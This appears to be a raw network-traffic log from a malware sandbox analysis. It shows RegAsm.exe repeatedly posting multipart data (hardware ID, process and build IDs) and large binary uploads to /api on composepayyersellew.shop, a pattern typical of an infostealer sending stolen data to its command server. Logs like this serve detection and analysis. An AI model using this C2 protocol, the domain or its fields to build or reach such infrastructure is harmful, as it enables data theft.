l4x5Vjz1thZQ40oBaPBXJH+ajTGkbCsyAXa0OPApQc/jmI2XCHGGpnTWHsVspINwHxuJVGC42TPQthUMhEilKTeMeVOJRZJm5CLLoUygtyT/6m2xhbwb8sHWpBhQqeG/Uxg9J3jR1gbUpo7FXKSDcB8biVRguNlwcsKWifEJ8b9yyO1nmbFnYpDHOsPshENwPv4pUZRY3oaF1gRY0HmRb8NJfWcIEaYW5FfulEgQ52T/6p1RBJzL0qXSUJyAGNX
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 58 66 4d 31 44 4a 44 6b 41 42 4b 41 55 79 45 51 33 41 37 61 6b 78 46 34 52 6a 2b 42 34 52 6a 34 59 33 31 62 48 64 4c 6c 34 78 35 56 6c 77 33 4d 6b 4b 77 77 75 2b 7a 37 49 52 44 63 44 74 4f 4b 56 43 41 6d 56 38 6e 68 54 41 77 6e 4b 52 4e 64 65 75 58 71 58 6c 79 4c 50 57 79 46 71 58 48 37 6b 56 5a 77 46 4d 6e 2f 49 6f 38 4d 54 52 73 61 78 46 43 4e 46 52 6f 6b 46 6d 31 37 4b 4c 49 6a 48 65 59 67 63 57 46 64 41 61 2f 5a 52 68 41 42 31 41 62 6a 49 6c 31 77 4c 6a 2f 4a 6f 58 57 51 4c 30 45 53 73 58 4c 4e 36 75 70 6b 53 7a 31 6b 6b 4b 77 77 75 6f 6b 37 4b 58 6a 63 42 77 36 50 62 45 45 37 62 6f 57 63 2b 66 55 61 48 44 5a 52 63 74 56 4c 48 6c 54 6a 50 57 53 51 70 53 43 79 36 46 4e 70 49 48 51 4f 30 34 70 64 63 43 34 32 30 4f 31 30 7a 43 64 68 55 7a 6b 6d 6f 62 64 Data Ascii: XfM1DJDkABKAUyEQ3A7akxF4Rj+B4Rj4Y31bHdLl4x5Vlw3MkKwwu+z7IRDcDtOKVCAmV8nhTAwnKRNdeuXqXlyLPWyFqXH7kVZwFMn/Io8MTRsaxFCNFRokFm17KLIjHeYgcWFdAa/ZRhAB1AbjIl1wLj/JoXWQL0ESsXLN6upkSz1kkKwwuok7KXjcBw6PbEE7boWc+fUaHDZRctVLHlTjPWSQpSCy6FNpIHQO04pdcC420O10zCdhUzkmobd
2024-06-22 08:17:06 UTC	1369	IN	Data Raw: 48 48 78 75 53 45 72 43 46 73 52 75 4e 77 4f 30 34 70 64 63 43 63 4c 77 63 6c 39 53 43 38 42 47 71 6c 4b 54 65 4d 65 56 4f 4d 39 5a 4a 6e 45 4f 4e 4b 41 57 76 77 56 37 54 2f 47 32 78 46 4e 68 37 6f 6f 51 58 30 64 4d 6e 55 53 68 47 2b 73 72 6a 74 70 32 7a 56 55 4f 4b 77 77 75 6f 42 54 49 52 6e 4d 42 72 75 4b 46 55 43 47 50 38 6d 68 66 4b 51 6e 49 41 6f 52 63 6f 33 6a 56 68 53 48 59 53 44 45 35 48 41 53 67 46 4d 68 45 61 67 2b 65 34 70 64 63 43 39 54 59 61 46 38 70 43 63 70 45 31 51 71 37 59 73 65 46 4e 4f 56 5a 4a 43 73 4d 4c 71 41 57 6d 45 59 74 41 37 62 6e 31 67 78 62 79 37 4d 38 48 69 78 31 74 69 47 62 47 2f 6f 73 6c 63 42 31 73 79 56 7a 61 6b 42 69 35 55 43 62 52 6a 73 70 74 4f 4b 58 58 41 75 50 38 43 56 64 4d 77 6d 78 52 74 31 63 78 48 54 74 6c 54 6a Data Ascii: HHxuSErCFsRuNwO04pdcCcLwcl9SC8BGqlKTeMeVOM9ZJnEONKAWvwV7T/G2xFNh7ooQX0dMnUShG+srjtp2zVUOKwwuoBTIRnMBruKFUCGP8mhfKQnIAoRco3jVhSHYSDE5HASgFMhEag+e4pdcC9TYaF8pCcpE1Qq7YseFNOVZJCsMLqAWmEYtA7bn1gxby7M8Hix1tiGbG/oslcB1syVzakBi5UCbRjsptOKXXAuP8CVdMwmxRt1cxHTtlTj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:07 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12847 Host: composepayyersellew.shop
2024-06-22 08:17:07 UTC	12847	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 42 35 37 35 38 38 31 44 33 35 34 43 42 32 42 39 38 32 43 43 41 38 37 43 43 30 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CD3B575881D354CB2B982CCA87CC0C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Kula
2024-06-22 08:17:07 UTC	812	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=teat7jqc128045jkt4vbkvndgt; expires=Wed, 16-Oct-2024 02:03:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=izckMUqMPsk7s4BwoE8Nrv7OQ2ukVvinxIZxsnMyYyxj9fzwgwybfZn%2BPUcYkWeBZVzmDAf48b%2FmaTFLs2nJaVqZbvaUPZSDqsP8dXIbgH0AupCYIetsWtf5zfuTDwE%2FJe34Sp%2FL4hq46xo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897accd4ccc45e74-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:07 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-22 08:17:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49706	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:08 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15079 Host: composepayyersellew.shop
2024-06-22 08:17:08 UTC	15079	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 42 35 37 35 38 38 31 44 33 35 34 43 42 32 42 39 38 32 43 43 41 38 37 43 43 30 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CD3B575881D354CB2B982CCA87CC0C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Kula
2024-06-22 08:17:08 UTC	814	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cfkj0u6a4riv38ki8pae9dsib7; expires=Wed, 16-Oct-2024 02:03:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K680TlbHuOrxU%2BhTa%2B0bRIag3tKbZpsR00YmvpxE%2BTRpm7QuAyVfFtDjcsPtj%2BuBo1np80LhNffxtCHjejFbD3oqV2zF5jDyBa4YBX%2BiLSCP532Uvc6iAslC0bifONRRqlsX9mPlBanF0dI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897accda6a720f87-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:08 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-22 08:17:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49707	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:09 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20404 Host: composepayyersellew.shop
2024-06-22 08:17:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 42 35 37 35 38 38 31 44 33 35 34 43 42 32 42 39 38 32 43 43 41 38 37 43 43 30 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CD3B575881D354CB2B982CCA87CC0C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Kula
2024-06-22 08:17:09 UTC	5073	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/
2024-06-22 08:17:09 UTC	816	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=47c67u4unpoln2uqth6870tjcm; expires=Wed, 16-Oct-2024 02:03:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UJIGhkSvaKea3seGHcDcryy%2BvKdxjP41mvuRw94%2B8KurQKC3mWlMHMyFmkK2Ko83G6e%2Fl0c%2Fnhll8OGD8e06IXkNTHBO8gA9P6BRgR%2FDIRcLYNrNZB%2BvvtNANzKhzSSdtch1IqGVpFE5BeM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897acce0e9780f39-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-22 08:17:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49708	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:10 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7087 Host: composepayyersellew.shop
2024-06-22 08:17:10 UTC	7087	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 42 35 37 35 38 38 31 44 33 35 34 43 42 32 42 39 38 32 43 43 41 38 37 43 43 30 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CD3B575881D354CB2B982CCA87CC0C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Kula
2024-06-22 08:17:10 UTC	818	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a8b91ov6b50j565ent27m6m5i6; expires=Wed, 16-Oct-2024 02:03:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GbTfvjp5fRfiQzq4PvV9cQ%2Bx1WL7SPA%2B9eGQb5RsUf3gzVWv1%2FTyV6QeZ%2BSgWXMw%2FMCgg0DXQkh2o%2FqCa8QqsMkKposULD%2FlFi4T8qgP26kSc3C1ehl5BTzIrxhiBJ20pVwmJoPLE1G8rtE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897acce818d03338-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:10 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-22 08:17:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49709	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:11 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: composepayyersellew.shop
2024-06-22 08:17:11 UTC	1244	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 42 35 37 35 38 38 31 44 33 35 34 43 42 32 42 39 38 32 43 43 41 38 37 43 43 30 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CD3B575881D354CB2B982CCA87CC0C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Kula
2024-06-22 08:17:11 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 22 Jun 2024 08:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b1nj4ngmaijvcn00dphip9ri08; expires=Wed, 16-Oct-2024 02:03:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OJXd45spWTsGljKHZk1zXjCzupapkTgWFy09cfsmQaiRH9LMxVUf%2Bp7EFQEANx7jJOCacPyjxdFdwWXJr99CJ9dlSEVKqXTngvTjYV1ak%2FFmft0s1epBx146zlbsTowqi1ZkNZackhRhsxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 897accedaae78cbd-EWR alt-svc: h3=":443"; ma=86400
2024-06-22 08:17:11 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-06-22 08:17:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49710	104.21.49.90	443	7132	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-22 08:17:12 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584300 Host: composepayyersellew.shop
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 33 42 35 37 35 38 38 31 44 33 35 34 43 42 32 42 39 38 32 43 43 41 38 37 43 43 30 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 4b 75 6c 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CD3B575881D354CB2B982CCA87CC0C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@Kula
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: 74 5f 39 d4 86 28 ef 54 6f c8 71 40 8b a2 55 25 ad ee 4d da 39 b2 7d a2 ac 79 37 ec 0b be 2a 59 11 72 d4 29 ff c6 c6 07 64 1c 07 04 29 6a ea ce fb 06 07 91 d5 df 36 3e 5f 84 93 b1 f0 a0 b6 0b eb a5 93 43 b6 38 ea eb 99 1c 6d 50 2d a0 99 31 60 69 d7 7c 47 24 c2 10 fe 6d 31 cd 07 10 a9 42 3f 15 54 a1 ba a0 23 57 4f c3 11 f6 c4 e7 c9 36 ca 8c ee 65 4b 38 a6 0f e6 08 0a 6c 8b 63 74 51 70 3c ef 66 a4 e6 87 6b a3 76 71 1a a3 0a 2f 3a 2f 2d 3c bb 64 c3 b2 67 48 c5 b1 6f fa a6 cc c2 41 69 66 d7 b3 6a 7c c1 98 76 a1 25 59 ea c3 de f1 3b 01 8a 24 a4 6c 86 82 f9 a7 bc f2 b5 5c ea 29 6d d8 73 cc ec 1e 5f 89 3d c6 69 1e cb 94 c0 87 8b f5 61 8b c6 e2 d9 4f 51 14 3f 8c bd 5e 4b 10 ad a8 0f e6 17 99 fe 3a 7e 66 bc d6 01 dd 58 7c da 2c 61 af cf c6 c8 fe 01 8d 8d 5b 26 c6 Data Ascii: t_9(Toq@U%M9}y7*Yr)d)j6>_C8mP-1`i\|G$m1B?T#WO6eK8lctQp<fkvq/:/-<dgHoAifj\|v%Y;$l\)ms_=iaOQ?^K:~fX\|,a[&
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: f3 fa 1b 7d 15 3a d5 93 12 e1 c1 f3 30 c3 3f dc 59 c2 cb fa db 62 f7 39 49 cc c6 51 38 8a c7 eb b4 2e 7d f5 27 d8 3c 67 b6 ae c8 f5 d5 2b a0 8d 7f 34 78 37 23 a6 1a 19 1e 45 e7 07 9f af 8c d7 a9 42 9d 2d 05 d8 a0 60 cf 49 ec b6 9f e1 d9 e4 44 b3 5d ca 17 8e 52 ef 2c bd 26 0a 5d 70 cb b4 88 3c 24 80 fb 7c b9 be 7f 23 57 1b b5 1e e4 47 bc 20 e7 b5 2a 54 8f 40 86 1b ab 05 6d 9c b3 d9 d4 56 89 eb 03 51 7c 42 ae ed 21 b6 99 95 22 04 2b 68 0a fa 3a 1a 1b 12 bf 30 26 87 d8 cd c7 0b 07 a6 1a 8c 16 cc d8 1a 8e f4 1a a1 c0 a4 0f b4 04 52 f2 3e 52 69 6f 83 45 18 7b 25 07 09 d8 24 63 04 e7 a2 f7 33 7f f2 ec 86 86 4c 72 8c 1e 6e ce f2 75 5d d8 56 ee de 66 39 d8 13 37 c6 62 43 a2 a2 41 ac 2f 36 98 72 3d 93 c4 90 1f 0a 8f 0a f4 c5 ec f9 f4 79 8f a8 27 61 22 d4 64 56 4e Data Ascii: }:0?Yb9IQ8.}'<g+4x7#EB-`ID]R,&]p<$\|#WG *T@mVQ\|B!"+h:0&R>RioE{%$c3Lrnu]Vf97bCA/6r=y'a"dVN
2024-06-22 08:17:12 UTC	15331	OUT	Data Raw: c4 21 9e df 61 6f ae 2f 30 62 34 42 2f ea 22 82 85 e7 ef ea b1 3d 7d e2 23 0d 22 75 1d 91 3d 87 84 e4 9f 2d e5 2c 21 25 0e 8b 82 5b 34 4a 22 e2 dd 52 33 4d a5 38 89 98 38 59 07 f0 6e cb dd ac e8 50 55 f4 c9 4e 45 4a 7b dd 90 74 5f ed 85 8f 7f a2 b2 4d ba 10 47 39 07 c5 56 ce 76 b9 65 53 fa 6b b1 85 25 02 4b f2 20 f9 8f 8a 1f f2 02 68 70 fb 24 8f ea 4c 87 74 53 2c 82 78 37 ea c6 93 88 e6 21 5e 4b ea d9 94 1a 42 09 e7 96 13 be 33 f7 16 70 7f e6 2f a2 e0 ff 34 74 e4 dd b5 f2 b9 a9 3c 2c 69 a9 f1 de ef be ef 9d 97 97 80 2f 51 74 ec 72 ff 6d b2 37 74 49 d1 2e 6d d7 44 75 5b 5b 8f a3 f1 5c d5 e8 e6 05 fe c2 38 2c 67 77 72 d3 0f c2 3b c5 e5 5d f8 f0 ab ce ee aa 1d e4 4c ba a3 57 90 f6 58 52 cf 3e d6 ca 65 4a c6 2f cc f2 af 3a 2f 03 e0 3b 14 22 1f e6 f0 d4 d3 ff Data Ascii: !ao/0b4B/"=}#"u=-,!%[4J"R3M88YnPUNEJ{t_MG9VveSk%K hp$LtS,x7!^KB3p/4t<,i/Qtrm7tI.mDu[[\8,gwr;]LWXR>eJ/:/;"
